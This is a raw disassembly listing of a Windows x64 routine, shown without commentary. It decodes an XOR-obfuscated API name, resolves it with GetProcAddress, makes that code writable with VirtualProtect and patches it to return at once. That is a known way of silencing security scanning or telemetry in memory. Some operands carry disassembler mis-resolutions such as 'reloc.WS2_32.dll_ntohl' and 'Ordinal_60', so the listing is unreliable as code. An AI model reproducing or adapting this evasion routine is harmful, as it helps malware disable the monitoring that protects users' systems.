mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400c3aea
jmp 0x1400c3c1b
lea rax, [rsp + 0x2d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x92]
lea rcx, str.qTPzK_ZWmQV.5B
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_ntohl
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x92]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov eax, 1
imul rax, rax, 0xd
mov rcx, qword [rsp + 0x40]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x1400c3b4e
mov dword [rsp + 0x34], 1
jmp 0x1400c3b56
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x21], al
movzx eax, byte [rsp + 0x21]
movzx eax, al
test eax, eax
je 0x1400c3bc0
mov dword [rsp + 0x28], 0
jmp 0x1400c3b7f
mov eax, dword [rsp + 0x28]
inc eax
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0xe
jge 0x1400c3bc0
movsxd rax, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x28]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x35
mov ecx, dword [rsp + 0x4c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rcx], al
jmp 0x1400c3b75
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x1400c3bf2
jmp 0x1400c3c1b
lea r9, [rsp + 0x60]
mov r8d, 0x40
mov edx, 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400c3c13
jmp 0x1400c3c1b
mov rax, qword [rsp + 0x50]
mov byte [rax], 0xc3
add rsp, 0xa8
pop rdi
pop rsi
ret